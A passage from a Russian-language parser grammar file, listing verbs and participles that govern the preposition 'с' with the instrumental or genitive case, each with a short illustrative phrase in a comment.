rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
